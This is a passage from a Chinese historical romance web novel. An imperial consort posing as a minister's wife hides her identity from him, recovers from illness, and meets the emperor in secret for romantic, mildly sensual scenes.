还不等她问,小丫鬟便道:“夫人,奴婢秋葵,大人照顾了您一宿,现下歇在耳房。夫人,您是要喝水,还是要见大人?” 戚妤感觉自己好了很多,半点没有昨天迟钝的状态了,她道:“给我倒一杯水。” 秋葵小跑着去,小跑着回来,将水杯放到戚妤手中。 戚妤喝着温水,顺着秋葵的思路想起裴谨。 现在是清晨,裴谨应是刚刚歇下,他照顾了她一夜,自然没道理现在将裴谨吵醒。 昨夜她确实感受到有人给她盖了两床被子,让她翻身不得,后又一次次将她探出去的手塞回被子里,这不是梦,那便是裴谨所为。 裴谨既能亲自照料她,说明昨天她唤他裴郎应该唤对了。 戚妤有些庆幸自己留意过此事,喝水时的神态都温柔了许多。 秋葵看着容光焕发的夫人,不由呆了一呆,怪不得大人除了给夫人换衣,其他事都亲力亲为。 戚妤问:“这是哪里?” 秋葵道:“蘅芜院。” 戚妤不明白裴谨为何将她带来了这里,也许离得近? 但不可否认,裴谨此举帮她规避了继续呆在玉照院露出破绽的风险。 因痊愈了大半,戚妤的五感恢复了过来,在喝水时她便发现这间屋顶上蹲了一个人。 是一直跟在赵婉仪身边的暗卫,卫四。 戚妤疑惑,赵婉仪在宫里,卫四不应该也去吗,萧从作为暗卫首领,难道没有告诉他? 戚妤对秋葵道:“秋葵,我想起身。” 秋葵:“大人已经将衣裳备好了,夫人,奴婢服侍您。” 走到屏风后,戚妤摸着衣裳料子,发现要比她昨天穿的厚一些。 秋葵道:“大人说这两天会下雨,嘱咐奴婢一定要让夫人您穿上,另外到院子里,也要披件薄披风。” 戚妤:“好。” 刚穿好衣裳,收拾妥当从屏风后出来,戚妤便撞见了裴谨。 裴谨潦草了很多,眼睛不如昨日有神采,眼下有淡淡青黑,下巴也不那么光洁,只是仍俊逸不凡。 戚妤脚步微钝,直至裴谨唤道:“夫人。” 她这才上前。 果然,裴谨仍没发现。 戚妤状似好奇地问道:“裴郎,我们为什么不在玉照院,怎么不见月鹭她们?” 裴谨看着戚妤纯然的眼眸,又怎会没反应过来昨天她唤他裴郎,情绪起伏那么大,不全是因为背德的缘故,更多是因为她不知道这样唤他是否对。 但他心里却没升起苛责。 罢了,左右她遭了这么大罪。 裴谨道:“她们伺候不周,不知道为主子添衣,我让她们好好反省反省,这段时间便先住在蘅芜院,等你身体好全了再搬回去。” 戚妤呆在裴府,而放任赵婉仪在宫中,仔细想想其实并不需要担心什么。 赵婉仪即便进宫了,可她得接近陛下,取得陛下的信任才会有那么一丝机会。 但现在,陛下负伤,赵婉仪又因落水抱恙,暂且是不会出什么问题的。 他可以趁此先将戚妤养好,再看怎么办。 裴谨虚扶着戚妤的肩膀:“夫人先去用膳,待我洗漱过后便去找你。” 早膳已经准备好了,戚妤轻点头,跟秋葵离开。 收拾好的裴谨重新疏朗起来,两人一起用过膳,戚妤便劝裴谨去休息,见裴谨去了屋内,她又对秋葵说:“秋葵,我想出去走一走。” 秋葵给她披了件水蓝色的薄披风,上面绣有白色的兰草。 两人走在蘅芜院的廊下。 戚妤坐在靠背栏杆上,凭着朱红栏杆远眺。 她确定卫四从屋顶跟了出来,在她附近后,于是借口喝茶将秋葵支走。 蘅芜院中的人本就不多,这里更没什么人在。 戚妤曲指敲了敲圆柱:“卫四。” 卧在走廊上方的卫四一愣,他确定裴夫人是在唤他。 但裴夫人怎么知道他在?又怎么知道他叫卫四? 戚妤又唤了一声:“卫四。” 卫四这次立刻便倒吊着出现在戚妤面前,而后轻巧站定,目光格外谨慎。 戚妤不明白了,卫四为何像不知道她是谁一样,便提醒道:“林七是我的暗卫。” 卫四的眼睛睁大:“贵妃娘娘?” 戚妤将食指放在唇边,眼中泛起笑意。 卫四见此却猛地捂住脸,绝望呜咽道:“完了。” 他当然见过贵妃娘娘,三月的一天,他跟往日一样在陛下到宅子中时,向陛下汇报关于裴夫人的日常,那日他就遇见了贵妃娘娘,即便他护卫裴夫人久了,也难以置信天底下竟有这么相似的人。 他也问过同僚,然后被路过的首领听到,便说陛下已经查过,贵妃娘娘与赵氏扯不上关系,自也跟裴夫人没什么亲缘。 但贵妃娘娘的身世好像也是假的…… 言归正传,他一直在裴夫人身边,宫里的意思他还是知悉的,在昨天孟大夫检查过破厄花无误后本应交给他,再由他让裴夫人喝下,但恰逢昨天裴府找大夫,孟大夫便直接将破厄花拿走,背着医箱,进了裴府。 自然极其顺利的,裴夫人已经喝下了破厄花熬煮的水。 但现在,却告诉他,裴夫人不是裴夫人,而是贵妃? 戚妤有些迷茫:“怎么了?” 卫四左右看了看:“微臣在选自己的埋骨之地。” 戚妤点点头:“去别的地方看看,不要埋到蘅芜院。” 因为秋葵快要回来了。 果然,卫四走后没多久,秋葵便拿着茶点过来了。 戚妤拿起一个精致的糕点,喂给了秋葵- “妥了!”孟舍一大早便进了宫,捋着胡须对田文善道。 田文善有些出神,下意识问了一句:“什么妥了?” 孟舍自然道:“裴夫人那里啊。” 田文善语气幽幽:“哪个裴夫人?” 孟舍:“还能有哪个?” 田文善言简意赅:“裴夫人在宫里。” “不可能!我亲自诊的脉,是落水而引起的风寒,我不止见到了裴夫人,还见到了裴谨那小子!”孟舍吹胡子道。 田文善让小太监将孟舍请到昭阳殿,为仍在昏睡的赵婉仪诊治。 一方面是因为孟舍不见棺材不落泪,另一方面则是御医治不好赵婉仪,对赵婉仪体内的旧疾束手无策,人至今还没醒。 孟舍到昭阳殿,见了躺在床上的贵妃娘娘后便沉默了。 宫人查看过小太监手中的令牌,便让孟舍悬丝诊脉。 佩玖眼眶的红已经缓和了下来,只是仍旧担忧,但这次是对赵婉仪的担忧。 娘娘和这位裴夫人的情谊她是看在眼里的,自然要忧娘娘所忧。 佩玖自那晚便知道回昭阳殿的不是娘娘,可陛下那边自回了宫就没有消息,加上先前陛下对裴夫人的意思,她自然觉得陛下默认了这种情况,她与别人说不清楚,只能没日没夜的哭,见到田文善自然满腹怨怼。 但没想到,田文善得知这个消息时比她还要震惊。 良久他才意味深长道:“贵妃娘娘往后的福气还长着呢!” 她似懂非懂回来,隐约明白了田文善所代表的陛下的态度。 孟舍诊脉结束,脸上慢慢严肃起来,他提笔,写下了一个地址,让宫人去宫外的一家医馆请一位名叫孙缨的女大夫,她在这方面术有专攻。 佩玖接过一看,便准备亲自去跑一趟,届时娘娘回来问起,她也有东西说,而不是浑浑噩噩什么都没干。 孟舍重新回到寝宫,一路上,他已经恢复了平静。 方才的脉象他隐约看出有古怪,但不太确定,不知道是不是废掉武功而留下的旧疾。 他说让请孙缨,除了孙缨真的能调理这种旧疾,便是想试探一下裴夫人的身体是否一直是孙缨在调理。 一个世家之女,曾经谙熟武功内力,怎么瞧都觉得不简单,且裴夫人可是会出现在陛下身边的人,不能不防。 田文善见他这副样子便知道他相信了,或许孟舍分辨不出裴夫人与贵妃娘娘,但在他提过后,孟舍心中的一杆秤其实就已经偏移了,但孟舍这人,即便信了,也非得做一趟无用功不可,最终才能心服口服。 孟舍问:“那现在怎么办?” 错了,完全错了。 田文善却不着急,反而道:“焉知这不是最好的安排?” 孟舍皱眉。 田文善直言:“陛下与贵妃娘娘处出了感情,那晚陛下便是要去裴府要人,只是在中途才倒下了。如今虽然不能大张旗鼓向裴府要人,但可以借着太后的名义召裴夫人进宫,届时再将真正的裴夫人换回去。” 贵妃在裴府已经有两日,若大张旗鼓去要人,损的就是贵妃的名声。 孟舍恍然大悟,挠着头去看御医们的进展- 蘅芜院。 裴谨是在午时醒来的,戚妤与他一起用了午膳。 午膳结束,裴谨去书房处理事务,他因府上的事已经提前告了假,但一些政务却逃不开。 戚妤则去睡了一会儿。 自然,药她仍在喝,但身边只有一个秋葵,她可以喝完再吃蜜饯。 再次睡醒后,屋内多了一道清浅的气息,戚妤有些惊喜,轻声唤道:“林七?” 林七从半开的窗户外翻了进来:“是我。” 戚妤从床上下来高兴地连鞋都忘穿了,她抱住林七:“我好想你和佩玖啊!” 戚妤问:“你什么时候来的?” 林七道:“昨天晚上我就从宫中出来了,只是找到了玉照院,发现娘娘不在,又在裴府的各个院落找遍了,均没找到,直到今天早上在隔壁碰上了卫四,才得知娘娘在蘅芜院。” 昨晚她就经过了蘅芜院,但因院中暗着灯,又没几个下人,她这才以为娘娘不在。 林七将戚妤扶回床上,掩好被子。 戚妤眸中放着光:“宫中如何了?赵婉仪有没有事?” 林七如实道:“我从宫中出来之前,赵夫人仍未醒,宫中风平浪静,但陛下受伤了,御医均聚在寝宫,已经两天没出去了。” 戚妤眼眸一暗,她反复生病,对外面的情况一无所知,即便早上见了卫四,也未说上几句。 不过见卫四的态度,乌时晏应是无碍? 那赵婉仪呢?距离落水已经两天了。 林七见此道:“娘娘别担心,我让卫四注意着宫中,兴许不久后便有好消息了。” 她不能走,她的职责是保护娘娘。 戚妤点头,也只能这样了。 秋葵进来前,林七已经提前离开了屋内。 秋葵道:“夫人,您的身子刚好一点,地上凉,怎么能不穿鞋呢?” 戚妤看了眼自己雪白的袜子上蒙了层不起眼的灰,无可狡辩,她只能温婉地笑了笑。 秋葵一下子便没了脾气。 她道:“夫人,大人给您送来了一本书,说您若是无聊可以看一看。” 戚妤拿过书,发现里面收集着各种文章,便从第一篇开始看起。 她不明白裴谨为何要送她这个。 下午酉时,裴谨来了,第一句便是问她:“我送来的文章可看了?” 戚妤点头。 裴谨强压笑意,面上一本正经道:“那把第一篇背给我听吧。” 幼时的债,长大了也是要还的。 能让赵婉仪舍身相救,裴谨不相信这不是曾经那个女童。 戚妤疑惑地眨了眨眼,但她只以为裴谨与赵婉仪之间就是这么相处的,即便觉得裴谨无聊,也不得不应下:“好。” 第一篇文章她看了有四五遍,背下来不难。 窗外原本快暗的天阴了起来,没一会儿又下起了雨。 戚妤和裴谨坐在窗边的软榻上,中间放着一张桌子,裴谨将大开的窗户半合,只留下一条窄窄的用来听雨的缝。 戚妤没有再温习,直接开始背。 因为只有她和裴谨两个人,她自然没有很大声,但吐字清晰,声音婉转,在雨声下更像情人之间的低喃。 裴谨渐渐听的入了迷,直至戚妤停下,还一副入神的样子。 他忙给戚妤斟茶,手指不自觉的捏起来。 戚妤支起下巴,听着裴谨讲关于这篇文章的用典。 她心道,真是无聊。 戚妤透过窗外的那条缝,往外看去,外面已经完全黑了,但雨仍下个不停。 她随口问裴谨:“裴郎,你怎么知道这两日会下雨?” 她原以为他会说他会看天象。 但裴谨却道:“我与钦天监的官僚交好。” 裴谨看向戚妤,却见她怔怔地望向窗外,便问:“怎么了?” 戚妤嗓子有点堵:“看到了一个鬼影。” 一个肖似乌时晏的鬼影。 呸呸呸,乌时晏是男主,再没有比他能活的了! 裴谨将最后一丝窗户缝隙合上:“别怕,是外面的柳树在动。” 戚妤却神思不属。 院子中,能看到屋内燃着的那盏灯,与两个相依的人,里面的窃窃私语声有些飘了出来。 他听到她唤裴谨为裴郎。 很快,随侍冒雨到了蘅芜院,闯进屋内,屋内的蜡烛点燃,完全亮了起来。 官署有要事,急召裴谨前往。 裴谨顾不得什么,撑了把伞便匆匆离开。 屋内,秋葵在安慰戚妤,戚妤心不在焉道:“秋葵你先下去,我想一个人静静。” 秋葵只得叮嘱:“外面雨大,夫人这种时候万万不可去赏雨。” 戚妤嗯嗯地应下,但在秋葵离开后,她便系上了披风,拿着油纸伞出了屋,往方才看到鬼影的地方走去。 她的目力一向很好。 她看到了一条灰败的落水小狗。 方才的一幕幕在乌时晏眼前闪过,他站在这里没动,却无人注意到他,然而再一眨眼,戚妤从屋内走了出来,又径直走到了他的面前。 戚妤站定,将伞举高,遮住了乌时晏。 乌时晏低头,雨水顺着他的脸颊往下流,他满眼都是戚妤。 乌时晏的思维混沌,以至于有一个错觉,阿妤来找他偷情了。 因为戚妤在踮着脚,他没有费力地就咬住了戚妤的唇瓣。 用牙齿轻磨,用舌头含着。 戚妤品尝到了雨水的味道,眼见着乌时晏还要抱她,她忙道:“你这样抱,我会生病。” 因唇被亲吻,她的声音有些含糊。 但乌时晏听清楚了,他没有多余的动作,只是一眨不眨地看着她。 好乖。 戚妤将唇与乌时晏的唇分离,把伞递给他,又准备将披风解下披在乌时晏身上,却被乌时晏摁住了手:“别解,冷。” 戚妤道:“你去隔壁洗个热水澡,找孟舍孟大夫诊脉,身体好后再来找我。” 她不会把乌时晏冒雨而来当作只对她有着微不足道的喜欢。 乌时晏不愿意走。 戚妤低头,继续解披风。 乌时晏声音沙哑模糊:“你回屋我再走。” 戚妤心软,没法不应。 第29章 宫中。 田文善与孟舍大眼瞪小眼, 安静如鸡。 陛下一个时辰前便不见了,但实际离开了多久他们也不知道,因为陛下中间醒过来一次,让照顾的太监离开, 等太监发现不对再进去时, 陛下已经不见人影了。 而田文善暗暗将寝宫翻了个遍也找见陛下。 陛下身边有暗卫, 大概是从暗道里离开的, 寝宫的暗道四通八达, 田文善也不知道陛下去了哪里。 但他隐约有了猜测, 连忙给小国舅递消息, 让他将裴大人从裴府叫走。 田文善是头一次经历这种事,但这种事在陛下还是七皇子时屡见不鲜,陛下不受教条拘束,又是先皇最喜爱的皇子, 几乎将任意妄为表现的淋漓尽致。 也是因此,先皇并不看好陛下继位, 即便为陛下铺路也是朝着富贵闲王的方向。 直至陛下登基, 整个人肉眼可见的沉了下来, 方没了随时会撂挑子的轻燥模样, 即便不喜朝事,也会在承明殿一批奏折便是一天。 但没想到, 陛下会在这样紧要的关头,谁也没知会地出宫了。 孟舍道:“我也不呆在宫里了, 去宫外碰碰运气兴许还能碰上陛下。” 田文善觉得孟舍说的有道理, 便亲自将孟舍送走了,并带人保守住陛下不在宫里的消息,因此当晚御医要为陛下请脉, 他也拒绝了。 孟舍出宫时撞上了孙缨孙大夫,便举着伞上前:“孙大夫,请留步!” 在未成为军中的大夫前,他满天下的找疑难杂症诊治,同在江湖跑,他自然对同为游医的孙缨有所耳闻。 后来天下安定,他们又都在京中开了医馆,想不熟悉都难。 孙缨慢了下来。 孟舍上前自来熟问:“敢问贵妃娘娘可好了?” 孙缨道:“娘娘已经醒来了,还得多谢孟大夫举荐。” “好说好说,我甫一把脉,就知道娘娘的病非你不可了,还得谢谢你救了娘娘。” 孙缨轻笑,继续听孟舍东拉西扯地说了一大通,最后讨好道:“孙大夫,昨天我去给裴府的夫人诊脉,她的脉象与贵妃娘娘的脉象好似……” 孙缨淡淡道:“贵妃娘娘的脉象确实很像我经手过的一位病人,不过她是误食了东西,又经庸医诊治才那般,贵妃娘娘这个倒不好说。” 孟舍觉得孙缨是认出宫中的才是裴夫人,但不好戳破皇室阴私,才这般指代。 孙缨的话抚平了孟舍的疑问,因她没道理要为裴夫人遮掩。也许真是他太多疑了? 出了宫,孟舍朝孙缨拱手,孙缨侧身颔首,而后两人才转身登上不同的马车。 孟舍一上马车,便被马车内蹲守的卫四惊到了,心脏几乎跳到了嗓子眼。 这小子穿着一身黑,偏偏眼睛却亮的惊人。 给人的第一印象便是有些傻气。 但也许是傻人运道好吧。 孟舍在心里腹诽,人傻武功高,不仅被选中去保护裴夫人,不用经历其他暗卫的凶险,还能在陛下面前得一个好用的评价。 卫四道:“孟大夫,陛下在宅子里,要您过去为他诊治。” 他实在进不去皇宫,偏偏陛下又随手吩咐了他,他只能蹲守在马车上,没想到,不过片刻,孟大夫就赶在宫门落锁前从宫里出来了。 孟舍一惊:“傻小子,怎么不早说!” 他连忙吩咐车夫,全力驾马。 暗卫受伤,一般都是他上门医治的,因此卫四一说宅子,他就知道说的是什么。 孟舍回头,又问卫四道:“陛下现在干什么?” “洗热水澡,喝姜汤。” “?”- 裴谨在官署忙到半夜,外面的雨已经停了,他本来想在官署合衣而睡,将就一晚,但想了想,他还是回裴府了。 到了蘅芜苑,廊下还留着几盏灯,照亮了院中到屋前的路。 裴谨心里暖融融的,让长随离开,他快步上前推开门。 屋内静悄悄的,秋葵不在,桌上的茶水没有动的痕迹,他往里走,踏入卧房,便见戚妤侧躺在床上,微弱的烛火跳跃,她眼睫轻颤,似是随时会醒来,亦像在等什么人。 裴谨轻手轻脚将有些湿的披风解下,搭在屏风后的架子上,他准备探过戚妤额头上的温度正常就在榻上对付完后半夜。 他走上前,还不待伸出手,便发现戚妤放在地上湿了一半的鞋子,鞋头还溅上了泥点,一旁放着的披风也有用过的痕迹。 她去了院中。 还是下着雨去的。 裴谨想着,慢慢竟觉得有些生气,他探出手,覆向戚妤的额头。 好在一切正常。 裴谨情绪稍缓,刚准备将手抽走,便被戚妤半梦半醒中抓住了手:“你来了?” 裴谨道:“是,我回来了。” 即便戚妤不知道他什么时候回来,但仍留了几盏灯等他,并让自己处于浅眠,一有动静就会被惊醒的状态。 这是她琢磨出的普通夫妻之间的相处? 裴谨心情有些奇异,他又联想到了那双湿了的鞋,用过的披风,便推断出戚妤甚至是去院里等了他一阵子。 但没等到人,这才折返回屋内。 裴谨道:“继续睡吧,我刚回来,身上凉,今晚睡在榻上。” 戚妤睁开眼,在沉默中放开了裴谨的手。 她把裴谨认成了乌时晏。 直到裴谨出声,才让她瞬间清醒。 戚妤没了睡意,见裴谨在朦胧的烛光下愈显俊逸温润的脸庞,她将被子往上拉了拉,嗯了一声。 卧房便有一张软榻,裴谨洗漱过后歇在了这里。 屋内有人,戚妤辗转着睡不着,她想不明白,夜半三更,裴谨怎么就不辞辛劳地从官署赶了回来。 这般,乌时晏必然是进不来了,因为稍有动静,裴谨便会发觉。 戚妤察觉到自己心跳的有些厉害,在这一瞬间,她甚至破罐子破摔的想,若是乌时晏此时闯进来,真相大白,好像也不错。 但乌时晏没有进来,在戚妤毫无睡意,漫无边际地神游时,远处传来了箫声。 听声音,是从隔壁宅子内传出来的。 萧声在隔壁,乌时晏便不会忽然出现在裴府。 戚妤的心渐渐安定下来,放心地阖了眼。 一曲完,一曲又起,每当裴谨觉得箫声要停的时候,下一瞬,它又响了起来。 明明是同一首曲子,却翻来覆去的吹,且从原本的思念,吹的怨气十足,最后甚至凄厉起来。 裴谨失眠了。 蘅芜院哪里都好,偏僻清净,就是离隔壁有些近,以至于箫声想忽略都忽略不了。 清晨,戚妤伸手在裴谨面前挥了挥。 裴谨勉强提起精神:“夫人。” 秋葵也有些无精打采的:“隔壁……怎么忽然有了动静?” 平日死寂死寂的,连声鸟鸣都没有,昨晚却吹了半夜的箫,当真古怪极了。 戚妤有些心虚,让裴谨用过膳便去床上补觉,又给秋葵放了一天假,让她回房歇息。 戚妤道:“我去拜访一下隔壁,看能不能让他今晚别吹了。” 裴谨拉住戚妤:“别去,对方怨气太大,不能跟这种人打交道。” 况且这个地段寸土寸金,能在这里置一座这么大的宅子,大概背靠京中权贵。 他不放心戚妤一个人带着管家去。 裴谨道:“这件事我来摆平。” 将对方背靠的权贵找出来,参他一本。 戚妤迟疑地点了点头。 裴谨接着道:“若是无聊,可以去旁边的书房看看书,那个书房我不常用,一些书籍无处放置便堆在了那里。” “或是带着丫鬟去花园里转一转,但不可久了,今日天凉。” “也可出府去逛铺子,不必带银子,直接记裴府的账,但记得带上府里的丫鬟和侍卫。” 戚妤想了想:“我去书房。” 因书房就在旁边,裴谨便没另外安排丫鬟。 比起被服侍,戚妤可能更喜欢身边没有裴府的丫鬟在。 早膳过后,蘅芜院归于一片宁静。 林七也找了个时机将赵婉仪昨天晚上醒来的事告诉了戚妤。 戚妤心中的一块石头落地,身上轻快了不少。 紧接着,她想到了乌时晏,听了半夜箫的人都沾床便睡了过去,想来乌时晏此时也在睡觉。 她自然不会非要见他一面才好。 戚妤去了书房,甫一推开书房的门,便被里面的藏书震惊到了。 这里的书类别很杂,她升起兴趣,挑了几本书后,便找到一个椅子坐下,将书摊开,一目十行看了下去。 戚妤拿的这本书,虽然名字像是游记——她也是因此才将它挑出来,但实际上却是本话本。 讲的是一位大家闺秀和温润公子的故事,两人门当户对,因而剧情发展的格外顺利,没有任何阻挠地成了亲。 因为文笔流畅生动,戚妤便没将这本书放下,而是继续看了下去。 几页过去,剧情迅速推进到了洞房花烛夜,戚妤还在感叹着后半本书能讲什么时,翻书的手已然停住。 她看的太快,等她意识到她看了什么时已经来不及了。 洞房花烛夜……伴着足足几页的细致描写,和绘有清晰图画展示,终于让戚妤意识到这是一本给高门贵女、世家子弟启蒙的书。 怪不得主角会这样的门当户对。 戚妤脸热的厉害,她抬头,眸光闪烁,须臾之后,她又开始埋头啃书。 这种难得的学习机会,不能错过。 因看的入迷,直至书房的门被推开,她才反应过来有人进来。 戚妤轻咳一声,脸蛋红扑扑的,她以为是哪个丫鬟来奉茶,便道:“将茶水放下便走吧。” 书房的门被重新合上,有人低声道:“阿妤,是朕。” 戚妤抬头,布满水光的眼眸带了丝慌乱看向来人。 她神采奕奕,唇边带笑的模样与乌时晏周身的冷寂,脸色萎靡形成了鲜明对比。 乌时晏声音沙哑,胡言乱语:“裴谨在睡觉,不会有人发现我们的。” 戚妤:“?” 乌时晏声音缓缓继续道:“昨晚他在,我没能进去,只好在窗外徘徊了很久,但阿妤没发现我。” 戚妤:“……” “为了隐秘的跟阿妤传消息,我吹了半夜的箫。” “…” 乌时晏的目光落到戚妤手中的书上,仅凭反着的几行字,他便判断出来:“阿妤手中的书,我也看过。” 话音刚落,他脸上便染上了不正常的绯色,唇角翘起,目光渐渐热了起来。 一扫方才的萎靡。 乌时晏心中只有一个念头,好热。 戚妤:“!!” 第30章 乌时晏的脸颊上落了道一指长的新伤, 伤口处凝出一层薄薄的痂,衬得他的面容阴鸷了许多,即便说着这么单刀直入的话,也让人忽略不了他身上的危险气息。 戚妤舒出一口气, 整个人冷静了很多, 她合上书, 站起身, 将手伸到乌时晏的额头上。 她怀疑乌时晏昨夜淋了雨, 又没睡, 以至于现在烧傻了。 但出乎意料的, 他的肌肤冰冰凉凉,不像是有事的样子。 乌时晏将戚妤的手扒拉下来,凑近,用额头拱上戚妤的额头, 他素来暗淡的眼眸此时却透着光亮:“朕没事,朕在宫中睡了两天, 现在一天一夜不睡也无碍。” 至于病倒后, 御医说他凶险万分, 其实他也并不在意, 甚至是不以为意。 再重的伤他都经历过,可到头来却总能在关键时刻力挽狂澜。 戚妤盯着乌时晏的眼眸, 直到现在她才有机会好好看看他。 他比昨日看着要好很多,但绝对比不上那天在街上的状态。 戚妤抿着唇与乌时晏拉开距离, 伸手拉掉他的衣带, 一双手从他紧实的腰部贴上去,而后转向他的胸膛与背部,两条胳膊也没放过。她是在检查乌时晏身上除了脸上那道伤和手上细碎的伤口外, 还有没有其他伤。 毕竟乌时晏硬生生睡了两天,是个人都能听出不对。 乌时晏在戚妤拉掉自己衣带时呼吸就重了起来,又眼睁睁看着那双手在他身上到处摸,即便他心里清楚阿妤在做什么,可心尖仍不受控制地泛起痒意。 像羽毛轻轻扫过,让人凭生出一股焦躁。 他想阿妤不隔着薄薄里衣检查,而是直接贴到他的肌肤上。 他的身材不算差,最初他引诱阿妤的那一晚,阿妤的手就很爱落在他身上。 后又经历了两次抚慰,乌时晏清楚知道,阿妤是喜欢那事的。 如果他能给阿妤带来欢乐,今日便不算白来。 当然,乌时晏也贪欢,他一沾染了与阿妤的情事,心里便发了狂,赤热的厉害,只是阿妤自己爽过了便不管他了,他只能硬生生将其按下。 心里则不停怒斥着这东西的不中用,不得阿妤喜欢。 检查过乌时晏身上没有伤口后,戚妤放下心来。 她刚想抽身往后退去,便被定了神的乌时晏拉住了袖子。 “我们一起看书。” 戚妤脸上腾地一红,不用想也知道,他在心心念念着什么事。 戚妤提醒道:“这里是书房。” 乌时晏已经勾住了戚妤的尾指:“嗯,一起看书。” 他将那本书往后翻,而后平铺到桌子上。 戚妤对他的举动感到好奇,便侧着身扫了一眼。 于是发现这一页恰讲到身为妻子的大家闺秀,担心丈夫用功费神,便端了补身体的汤,吩咐丫鬟不必跟着,亲自送去了书房。 这汤放到桌子上最终喝没喝不知道,但在这个阶段,两人正处于浓情蜜意,妻子此举不亚于羊入虎口,逃都逃不脱。 乌时晏无声无息地环住了戚妤的腰,将头埋在她颈肩嗅了嗅:“轻声些,不会有人发现的。” 他心中的贪念暴涨,也唯有阿妤的气息才能抚平。 戚妤毫不意外,他们之间谈这个才最为恰当。 她没有因此而感到索然无味,甚至在乌时晏靠近便觉得有些渴。 外面雨过天晴,碧空如洗,只是万万不能让人发现才好。 乌时晏严苛按照话本上描述的那样,他坐在椅子上,将戚妤反扣进怀里,戚妤的背紧紧贴在他胸膛前。 乌时晏一手环着戚妤腰,一手抚上她的脸庞。 那只丈量着戚妤脸颊的宽大手掌微微用力,戚妤被迫侧脸,与背后的乌时晏拥吻起来。 不同于前两次戚妤主导的姿态,这一次乌时晏的肢体动作都透着强势。 戚妤眼睫轻颤,她面前是充足的光线,和只放了个香炉,没什么遮挡视线的室内,一旦有人推门而入,稍微走两步便能看见她。 这给了她极大的不安全感,即便身后不留空隙地贴着乌时晏,即便乌时晏落下的吻将她的大部分注意力拉走,她仍然对此感到紧张。 会被发现的…… 戚妤心脏微微紧缩,她变得需要张嘴呼吸才能缓和巨大的情动,眼前也成了白茫茫一片。 她的手紧紧扣在乌时晏的手臂上。 好在这种姿势并未持续多久,在乌时晏没有落下吻的下一刻,他就将她抱起来,调转身子,正面看向他。 因为话本上的丈夫也不能再能忍受看不到妻子的脸,而将妻子转了过来。 乌时晏耐心整理着戚妤的衣裙,不至于岔坐在他身上被揉得一团糟。 现在的戚妤傻乎乎的,愣愣地看着他,任由他摆弄,而后无力地将头靠在他肩上。 乌时晏轻笑一声,轻轻抚过她的脸。 戚妤想起方才看的那一眼话本上的内容,接下来便是妻子的衣裳随着丈夫的吻与手指的落下而被一层层剥落,可话本上的时间是在晚上,他们披上外袍便能抱去卧房,她和乌时晏却不能。 还不待戚妤深想,乌时晏的手指便落到了她的背上,一点点滑下去。 而后,细密的吻也紧跟着落在她的脸上,脖子上。 他们如话本上那样,却又有些不一样,乌时晏并未解开她的衣裳,而是隔着层衣料用手抚过她的身体,从单薄的背脊,落到最敏感的纤腰。 像是在拨弄琴弦。 当乌时晏的唇落到她的锁骨上时,戚妤方有了衣襟散开的感觉。 乌时晏闭了闭眼,眼前划过方才看见的阿妤用来裹身的小衣,终是没忍住又往下吻了一些。 …… 戚妤从乌时晏身上下来,便往旁边跑了几步,背过身,手指颤抖地拢了拢衣襟。 她脸皮涨红,不明白为什么这次仅是亲这里就让她这样的难为情。 过了好一会儿,她方缓了过来。 戚妤平复心情去看乌时晏,本来盯着她后背的人在她看过去的一刹那,不自觉地移开了脸。 戚妤又气又觉得好笑,她语带催促道:“亲也亲了,陛下便先走吧。” 凭着乌时晏最后用力的劲儿,她很难保证他继续呆下去会在她身上落下怎样明显的痕迹。 乌时晏理亏,但他仍是在戚妤身边绕了好一会儿方恋恋不舍离开。 不离开不行了,奉茶的丫鬟就要到了。 书房的架子上居然支着一面小铜镜,戚妤确认自己脖子上没有红痕后,从容地让丫鬟将茶水放下。 她将话本放回原来的位置,又拿了一本真游记来分散注意力。 快到用膳时,戚妤从书房出来。 彼时裴谨也起身了,两人一起用了膳。 裴谨问道:“夫人早上看了什么书?” 他也是醒来时方想起,书房的书有些杂,一些书并不适合去看。 戚妤便说了书名。 裴谨心道还好。 他的视线从戚妤身上划过,倏然,他发现戚妤衣襟下压着的一片红,思及戚妤的病还未好全,裴谨道:“夫人,你锁骨下红了一块,我去给你取药。” 戚妤手指压在衣襟上,微微低头,想看清楚些。 她解释道:“是蚊子咬到的。” 裴谨将药膏找出来,正欲递给戚妤,却想起她事事需要人服侍的骄矜,如今秋葵也不在这里,便避开了戚妤的手:“我来吧。” 戚妤没有拒绝,早上的情绪已经消散,她现在的心情如湖水般平静。 况且她确实看不到,只能裴谨来上药。 裴谨沾了带着凉意的药膏抹在戚妤的肌肤上,他将她的衣襟微微拉开,将药膏抹匀,却发现锁骨下的红痕只多不少。 再往下便是……了。 他虽没经过事,但却不是什么都不懂的毛头小子。 戚妤落了一身痕迹,暂且不论锁骨下的痕迹是谁留下的,可她就这么坦然地任由他帮忙上药。 裴谨手指空悬,看向戚妤,目光不辨喜怒:“夫人自己来吧。” 戚妤:“好。” 她伸手去拿药膏。 却见裴谨忽地又反口道:“算了,夫人看不到,抹到衣服上就不好了。” 戚妤收回手,愈发不明所以。 紧接着,她便看见裴谨从容地将目光落到她身上,沾了药膏的手从锁骨下打着圈滑向心口的方向。 直至手指碰上了起伏的肌肤。 戚妤忽然反应过来,还不待她开口拒绝,裴谨便道:“夫人这不像蚊虫叮咬的,倒像是起了疹子。” “只怕要冒犯夫人了。” 戚妤讷讷道:“我们夫妻之间,说什么冒犯。” 裴谨唇角勾起:“是这个道理。” 戚妤此时也意识到,衣襟之上乌时晏存了遮掩的心思什么都没留下,但衣襟下却要放肆许多。 她的一处肌肤还微微刺疼着。 裴谨微凉发热的手指腹圈过戚妤那块刺疼的肌肤,不轻不重地按了两下。 戚妤被打断思绪,注意力重新落到裴谨身上。 他低垂着眼,鼻梁高挺,唇色很淡,此时一副再认真细心不过的模样。 可是戚妤却隐隐觉得不对,但又说不上来。 将药膏抹匀,裴谨额上浮出一层薄汗,他将手指收回,松了一口气道:“好了。” 戚妤坐在裴谨面前,忽然开口问:“裴郎,我那日丢的金簪在你那里吗?” “在我的书房。” “为什么不还给我?” 裴谨未抬眼,声音清泠泠的:“金簪危险,亲自动手的事不可以有下次。” 戚妤安了心,面上则无奈应下。 这件事情,是独属于他们夫妻的秘密,她也是意外发现簪子的机巧,才推测出来。 裴谨若发现她不是赵婉仪,不可能这么快的脱口而出。《 》 30-40 第31章 上过药后, 戚妤起身去换了身衣裳。 这次是件简单的桃粉曲裾,银白与朱红为衬,腰上正中间有块巴掌大的圆玉,上面雕着两条游鱼。 衬得人愈加柔美, 姿色动人。 他们住进蘅芜院后, 屋内便添置了许多东西, 小到香炉茶具, 大到浴桶桌椅。 而她的衣裳首饰自也没有短缺。 戚妤只以为是下人在操办, 便没在意。 她从屏风后出来, 